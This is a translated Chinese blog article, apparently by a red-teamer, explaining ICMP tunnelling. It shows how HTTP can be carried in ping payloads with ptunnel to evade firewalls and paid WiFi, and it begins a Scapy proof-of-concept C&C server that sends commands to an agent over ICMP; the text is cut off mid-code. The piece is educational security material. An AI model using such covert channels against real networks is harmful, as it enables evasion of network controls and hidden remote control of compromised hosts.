![9702ecce59bc4c109ea13e5b82ae4adc.png](https://i-blog.csdnimg.cn/blog_migrate/e7eae85bc9be35a5b77c6c887d5424ee.jpeg)
本文为翻译文章,原文链接见文末。(翻译为脉搏首发)
一般来说,攻击者在行动过程中经常需要面对诸多的挑战,例如:
- 克服网络障碍(网络策略、分段等)。在“隐形模式”下完成各项操作,这样,就不会被逮到了。
应对这些挑战的一个好方法是,当试图创建一个能够跨越网络中各种障碍的隐蔽连接时,使用ICMP隧道技术。
在计算机网络中,隧道技术通常是将一个网络协议封装为另一个网络协议的有效载荷(payload,即传输的数据),详情请参阅这篇文章。
ICMP(Internet Control Message Protocol)是Internet协议簇中的一个支持协议。网络设备可以使用它来发送错误消息和操作信息。其中,最常见的ICMP消息可能也是最常用的消息就是Ping消息。
实际上,Ping是一种控制消息,也是ICMP(Internet Control Message Protocol)协议的一个组成部分。
Ping消息可以从网络中的一个节点发送到另一个节点。该消息是由第2层和第3层报头(由OSI模块定义的MAC和IP报头)以及一个特殊的ICMP数据包构成的。发送节点需要设置目的地参数,如果目的地节点收到该消息,它会立即返回该消息。
![e6117c99a21e286c38474de81612067b.png](https://i-blog.csdnimg.cn/blog_migrate/c7146b05b9081518a42cd1cdb62172a7.jpeg)
下面是ping数据包的IP数据报格式:
![566cbdcfbaf892e5ab15e58ec284c903.png](https://i-blog.csdnimg.cn/blog_migrate/595a8ad0f45ee654d7c113650e1638f0.jpeg)
ICMP隧道可以通过修改有效载荷数据来实现,这样,它就能在其中存放我们想要发送的数据了。
通常情况下,它会包含默认的有效载荷数据,如ASCII字符串“abcdefghijklmnopqrstuvwabcdefghi”等。
![6327a6fb14656a00f06a4cf1e8ea07ec.png](https://i-blog.csdnimg.cn/blog_migrate/371ccd04ac26c4f5beaee80cf51798d6.jpeg)
Wireshark——ICMP数据包及有效载荷数据
如果将HTTP数据包封装在有效载荷数据中的话,就是这种方法最常用的一种方式——WiFi蹭网。
此外,这可以通过使用代理服务器来实现,代理服务器会等待ping消息,并根据需要发送它们(例如,作为HTTP)。
![e7d9b18f68f44eabb1242c63ef2d7455.png](https://i-blog.csdnimg.cn/blog_migrate/1d0545f6a44c54d9c96b589a80cdb92c.jpeg)
借助于正确的工具(如ptunnel),我们可以将要发送到Google的HTTP数据包封装到ping数据包中(即有效载荷数据内)。然后,将其发送到作为目的地的代理服务器IP地址处。
注意:该IP并非HTTP数据包的目的地(HTTP数据包的IP目的地应该是http://www.google.com域名对应的IP地址)
由于机场的路由器通常允许ICMP流量流出网络,因此,它会将Ping消息传递给代理服务器。
代理服务器接收Ping数据包后,会将其分成两部分:
- ICMP头部。包含原始HTTP消息的有效载荷。
注意:代理发送给Google的HTTP数据包的源IP地址应该是代理服务器本身的IP地址,而不是笔记本电脑的IP地址(或机场的路由器的地址......),因为Google应该回复的对象是代理,而不是您。
这可能是ICMP隧道最常见的用法,但作为一名红队成员,我发现这的确是一种逃避防火墙和其他网络策略的“隐身”方法,所以,它是非常有用的。
上面所说的这一切都是可能的,因为Ping消息可以通过“Pay-for-WiFi”局域网中的路由器进入互联网。
那么,为什么人们会允许这种情况发生呢?
作为一名前网络工程师,我可以告诉大家的是,在尝试理解和解决非常复杂的网络问题时,Ping是不可或缺的。
大多数网络故障排除过程都是从测试信息是否能够从一个节点传送到另一节点开始的,即弄清楚:这条信息路线是否可行?网络组件是否处于可用状态并且能够正常响应?
面对这些问题,Ping消息可以用最简单的方式提供答案,当然,它还能够用来解决许多其他方面的疑问。
实际上,这些故障排除工作几乎每天都会遇到。这就意味着,相关的网络配置必须允许将网络上的Ping消息从一个节点传输到另一个节点。同时,所有防火墙策略、路由器策略和交换机ACL(访问列表)都必须允许ICMP消息从任何网络组件传输到任何其他组件。
这就是为什么Ping消息几乎不会受到网络分段和网络策略方面的影响的原因。
既然如此,在网络中创建连接时,为了克服网络分段和网络策略等障碍,可以让代理使用ICMP隧道来连接C&C服务器——这是一个非常棒的主意。
为此,我用Python编写了一个简单的POC代码,以用来演示其工作机制。
请注意:
-该PoC要求安装Scapy(实际上,Scapy是一个很好的学习工具)
-该PoC没有涉及分段处理。例如,如果来自代理的应答大于允许的有效载荷数据的上限,则会对其进行分段。
该PoC还包含了一个C&C服务器和一个代理。其中,C2服务器将通过ICMP隧道向代理发送指令,代理也将通过ICMP隧道来返回相应的结果。
C2.py
#!/usr/bin/env python3from scapy.all import * def main(): while True: command = raw_input('# Enter command: ') # build the ICMP packet with the command as the payload pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command send(pinger) # wait for the ICMP message containing the answer from the agent # to be received rx = sniff(count=1, timeout=2) # use this if agent is not on local machine: rx = sniff(filter="icmp